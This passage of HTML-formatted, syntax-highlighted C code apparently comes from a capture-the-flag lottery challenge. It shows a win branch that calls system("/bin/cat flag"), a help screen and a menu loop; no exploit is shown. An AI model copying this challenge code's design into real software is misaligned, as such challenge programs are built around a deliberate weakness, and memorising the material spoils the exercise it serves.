style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;win!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(match&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bad&amp;nbsp;luck...\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;help(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;-&amp;nbsp;nLotto&amp;nbsp;Rule&amp;nbsp;-\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;nlotto&amp;nbsp;is&amp;nbsp;consisted&amp;nbsp;with&amp;nbsp;6&amp;nbsp;random&amp;nbsp;natural&amp;nbsp;numbers&amp;nbsp;less&amp;nbsp;than&amp;nbsp;46\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;your&amp;nbsp;goal&amp;nbsp;is&amp;nbsp;to&amp;nbsp;match&amp;nbsp;lotto&amp;nbsp;numbers&amp;nbsp;as&amp;nbsp;many&amp;nbsp;as&amp;nbsp;you&amp;nbsp;can\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;if&amp;nbsp;you&amp;nbsp;win&amp;nbsp;lottery&amp;nbsp;for&amp;nbsp;*1st&amp;nbsp;place*,&amp;nbsp;you&amp;nbsp;will&amp;nbsp;get&amp;nbsp;reward\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;for&amp;nbsp;more&amp;nbsp;details,&amp;nbsp;follow&amp;nbsp;the&amp;nbsp;link&amp;nbsp;below\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;mathematical&amp;nbsp;chance&amp;nbsp;to&amp;nbsp;win&amp;nbsp;this&amp;nbsp;game&amp;nbsp;is&amp;nbsp;known&amp;nbsp;to&amp;nbsp;be&amp;nbsp;1/8145060.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argv[]){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;menu&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;menu;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;-&amp;nbsp;Select&amp;nbsp;Menu&amp;nbsp;-\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;1.&amp;nbsp;Play&amp;nbsp;Lotto\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;2.&amp;nbsp;Help\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;3.&amp;nbsp;Exit\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;menu);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;switch&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(menu){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;case&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;play();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;case&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;help();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;case&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bye\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;invalid&amp;nbsp;menu\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: 